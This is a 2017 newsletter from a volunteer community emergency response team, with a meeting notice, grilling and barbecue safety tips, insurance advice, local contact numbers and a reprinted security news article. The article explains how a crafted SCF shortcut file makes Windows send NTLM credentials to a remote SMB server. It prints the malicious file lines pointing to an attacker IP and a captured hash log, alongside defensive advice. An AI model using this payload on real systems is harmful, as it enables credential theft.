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Quarterly
General Meeting
Wednesday, June 14, 2017
It is the start of summer and we will have out next
general meeting on June 14th at the Independence Fire
Station. Please note that this is a change from the
Independence Civic Center. The topic will be electrical
safety.

The next general meeting will be:

IN Community Representative
Bill Johnson, (216) 524-0218
BH Community Representative
P. Goldsworth

September 13, 2017
Please mark your calendars

SH Community Representative
Ralph Gromelski (216) 543-6492
VV Community Representative
Pending
Secretary
Mike Sklodowski
Treasurer
Phyllis Glaeser
With the Support of …
Brooklyn Heights Mayor
Michael S. Procuk
Independence Mayor
Anthony L Togliatti
Seven Hills Mayor
Richard P. Dell’Aquila
Valley View Mayor
Jerry Piasecki

Congratulations to the following for receiving a
Quad City Cert scholarship:
Andrew Sczepanik

Mary Lasky

Joey Stefanko

Note to volunteers
We are asking all Quad City volunteers to see if your
employer will donate to Quad City CERT based on the
volunteer hours you perform annually. This would
greatly benefit Quad City. Quad City CERT is a 501c3
organization.
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Grilling safety tips
Fire in the grill, under hot dogs and burgers, is a welcome sight
at the family cookout. But fire anywhere else can make your
summer kick-off barbecue memorable for all the wrong reasons.
To keep you and your family safe while grilling, follow these
general guidelines.
General grilling tips


Propane and charcoal BBQ grills should only be used outdoors.



The grill should be placed well away from the home, deck railings and out from under
leaves and overhanging branches.



Keep children and pets away from the grill area.



Keep your grill clean by removing grease or fat buildup from the grills and in trays below
the grill.



Never leave your grill unattended.

Before you use your grill:


Check the major connection points between the gas (propane) tank hose and the regulator
and cylinder, and where the hose connects to the burners. Tighten if loose.



Check the gas (propane) tank hose for the potential (gas) leaks. To do that:
o

Apply a light soap and water solution to the hose using a brush or spray bottle.

o

Turn the propane tank on. If there is a gas leak, the propane will release bubbles
around the hose (big enough to see).

o

If there are no bubbles, your grill is safe to use.



If there are bubbles, turn off the tank and check connections, then have your grill serviced
by a professional before using it again.



If the leak doesn’t stop, call the fire department immediately.

When the grill is on:


As you are cooking, if you smell gas, turn off the gas tank and burners.



If the leak stops immediately, get the grill serviced by a professional before using it again.



If the smell continues, move away from the grill and call the fire department immediately.
Do not move the grill.

Charcoal grills


There are several ways to get the charcoal ready to use. Charcoal chimney starters allow
you to start the charcoal using newspaper as a fuel.



If you use a starter fluid, use only charcoal starter fluid. Never add charcoal fluid or any
other flammable liquids to the fire.



Keep charcoal fluid out of the reach of children and away from heat sources.



There are also electric charcoal starters, which do not use fire. Be sure to use an
extension cord for outdoor use.



When you are finished grilling, let the coals completely cool before disposing in a metal
container.
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Every year, millions of Americans safely enjoy outdoor barbecues, but accidents
do happen. According to the U.S. Fire Administration, about 5,700 grill fires take
place on residential property every year, causing an annual average of $37
million in damage, 100 injuries and 10 deaths. The majority of grill fires are
caused by malfunctioning gas grills. In addition, thousands of people visit
emergency rooms every year because they have burned themselves while
barbecuing.
In the rare instance of a grill fire spreading to your property, your homeowners
insurance would provide financial protection as fire is a covered peril. A
homeowner’s policy covers the following:






Damage to the house itself.
Damage to personal possessions such as lawn furniture.
Damage to insured structures on your property, such as a shed or gazebo.
Injuries to a guest, under the liability portion of the policy.

Keep in mind you’ll have to pay your deductible before your insurance kicks in,
so if damage is minimal and your deductible is high, it may not make sense to file
an insurance claim.
However, the best way to enjoy a summer of outdoor barbecues is to take steps
to prevent accidents, including maintaining your grill and using it safely.

Grill Maintenance and Storage
Gas grills are generally safe if they are properly maintained and checked for
leaks. In some instances, grills are unsafe due to faulty design or construction.
(You can search the website of the Consumer Product Safety Commission to see if
there has been a recall on your grill.) When setting up at the start of each grilling
season, the following tips can help ensure everybody’s safety:








Check grill hoses for cracks, holes and brittleness. Look for blockages as well, especially in the
Venturi tube that runs to the burners. Clear blockages—caused by food drippings, spiders or
insects—with a wire or pipe cleaner.
Run a soap solution (one part liquid soap, one part water) along hoses and at connections, then
open the valve at your tank and check to make sure that gas isn’t escaping, which will be
indicated by bubbles at the leaking points.
Adjust hoses as needed away from hot areas or where grease might drip on them.
Store propane tanks outside, away from your house. Always check to make sure valves are firmly
turned off.
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Safe Barbecuing Practices
When barbecuing, use common sense and follow these guidelines:









Operate your barbecue on a level surface, away from your house, garage and landscaping. Don’t
move the grill once it is lit.
Keep children and pets away from the grill.
Protect yourself—or whoever is doing the grilling—with a heavy apron and oven mitts that reach
high on the forearm.
For charcoal grills, use only lighter fluid designed for grilling. Never use gasoline or other
flammable liquids, and never add lighter fluid once the fire has started.
Never grill indoors or in enclosed areas. Charcoal grills produce carbon monoxide (CO) fumes,
which can be fatal in unventilated areas.
Keep a fire extinguisher nearby.
When you’re done with your cooking, remember that the grill will remain hot for a while. Don’t
cover or store your grill until it has cooled, and soak coals with water before throwing them
away.

In Case of an Accident
If a grill accident—or any kind of accident—does occur, injuries should be
addressed immediately. Run cool water over minor burns, but do not cover
injured areas with bandages, butter or salve. In the case of more serious burns,
victims should visit the emergency room or an urgent care facility. If needed or
when in doubt, call 911.
Once you have dealt with any injuries, assess your property damage and, if the
situation calls for it, contact your insurance professional to discuss filing a claim.
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Cyber news and Threats
A security researcher has discovered a serious vulnerability in the default
configuration of the latest version of Google's Chrome running on any version of
Microsoft's Windows operating system, including Windows 10 that could allow
remote hackers to steal user's login credentials.
Researcher Bosko Stankovic of DefenseCode has found that just by visiting a website
containing a malicious SCF file could allow victims to unknowingly share their
computer's login credentials with hackers via Chrome and the SMB protocol.
This technique is not new and was exploited by the Stuxnet — a powerful malware
that specially designed to destroy Iran's nuclear program — that used the Windows
shortcut LNK files to compromise systems.
What’s make this attack different from others is the fact that such SMB
authentication related attacks have been first time demonstrated on Google Chrome
publicly, after Internet Explorer (IE) and Edge.
SCF (Shell Command File) shortcut file format works similar as LNK files and is
designed to support a limited set of Windows Explorer commands that help define an
icon on your desktop, such as My Computer and Recycle Bin.
"Currently, the attacker just needs to entice the victim (using fully updated Google
Chrome and Windows) to visit his website to be able to proceed and reuse victim’s
authentication credentials," Stankovic wrote in a blog post, describing the flaw.
Basically, shortcut links on your desktop are a text file with a specific syntax of shell
code that defines the location of icon/thumbnail, application's name and its location.
[Shell]
Command=2
IconFile=explorer.exe,3
Since Chrome trusts Windows SCF files, attackers can trick victims into visiting their
website containing a maliciously crafted shortcut file, which gets downloaded
automatically onto the target systems without prompting confirmation from the
users. As soon as the user opens the folder containing that downloaded file,
immediately or later, this file automatically runs to retrieve an icon without the user
having to click on it.
But instead of setting the location of an icon image, the malicious SCF file created by
the attacker contains the location of a remote SMB server (controlled by the
attacker).
[Shell]
IconFile=\\170.170.170.170\icon
So, as soon as the SCF file attempts to retrieve the icon image, it will trick into making
an automatic authentication with the attacker’s controlled remote server over SMB
protocol, handing over the victim's username and hashed version of password,
allowing the attacker to use your credentials to authenticate to your personal
computer or network resource.
"Setting an icon location to a remote SMB server is a known attack vector that abuses
the Windows automatic authentication feature when accessing services like remote
file shares," Stankovic said.
But following the Stuxnet attacks, Microsoft forced LNK files to load their icons only
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from local resources so they'd no longer be vulnerable to such attacks which make
them load malicious code from outside servers.
However, SCF files were left alone.
But why would your Windows PC automatically hand over your credentials to the
server?
If you are unaware, this is how authentication via the Server Message Block (SMB)
protocol works in combination with the NTLM challenge/response authentication
mechanism.
In short, LM/NTLM authentication works in 4 steps:


Windows users (client) attempts to log into a server.



The server responds with a challenge value, asking the user to encrypt the
challenge value with his hash password and send it back.



Windows handles the SCF request by sending the client’s username and
hashed version of the password to the server.



The server then captures that response and approves authentication, if the
client's hash password is correct.

Now, in the SCF attack scenario, elaborated by Stankovic, Windows will attempt to
authenticate to the malicious SMB server automatically by providing the victim's
username and NTLMv2 password hashes (a personal computer or network resource)
to the server, as described in above-mentioned step 3.
If the user is part of a corporate network, the network credentials assigned to the
user by his company's sysadmin will be sent to the attacker.
If the victim is a home user, the victim's Windows username and password will be
sent to the attacker.
[*] SMB Captured - 2017-05-15 13:10:44 +0200
NTLMv2 Response Captured from 173.203.29.182:62521 - 173.203.29.182
USER:Bosko DOMAIN:Master OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:98daf39c3a253bbe4a289e7a746d4b24
NT_CLIENT_CHALLENGE:01010000000000000e5f83e06fcdd201ccf26d91cd
9e326e00000000020000000000000000000000
Bosko::Master:1122334455667788:98daf39c3a253bbe4a289e7a746d4b24:01
010000000000000e5f83e06fcdd201ccf26d91cd9e326e000000000200000000
00000000000000
No doubt, the credentials are encrypted but can be "brute-forced" later to retrieve
original login password in plain text.
"It is worth mentioning that SCF files will appear extension-less in Windows Explorer
regardless of file and folder settings," the researcher said. "Therefore, file named
picture.jpg.scf will appear in Windows Explorer as picture.jpg. This adds to
inconspicuous nature of attacks using SCF files."

No Need to Decrypt Password *Sometimes*
Since a number of Microsoft services accept the password in its hashed form, the
attacker can even use the encrypted password to login to your OneDrive,
Outlook.com, Office 365, Office Online, Skype, Xbox Live and other Microsoft
services, making the decryption unnecessary.
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Such vulnerabilities, according to the researcher, could also pose a serious threat to
large organizations as they enable attackers to impersonate one of their members,
allowing attackers to immediately reuse gained privileges to further escalate access
and gain access and control of their IT resources and perform attacks on other
members.

How to Prevent Such SMB
Authentication-related Attacks
Simply, block outbound SMB connections (TCP ports 139 and 445) from the local
network to the WAN via firewalls, so that local computers can not query remote SMB
servers.
Stankovic also advises users to consider disabling automatic downloads in Google
Chrome by going to Settings → Show advanced settings → and then Check the "Ask
where to save each file before downloading" option.
This change will allow you to manually approve each download attempt, which would
significantly decrease the risk of credential theft attacks using SCF files.
Google is aware of the vulnerability and is said to be working on a patch, but no
timeframe has been given as to when the patch will be made available to the users.

Important Contact Numbers
All Four Cities of CERT
CONTACT NUMBERS

FIRE
Non-Emergency

POLICE
Non-Emergency

Brooklyn Hts.

351-3542

741-1327

Independence

524-4001

524-1234

Seven Hills

524-3321

524-3911

Valley View

524-6469

524-9687

7

8

BE PREPARED
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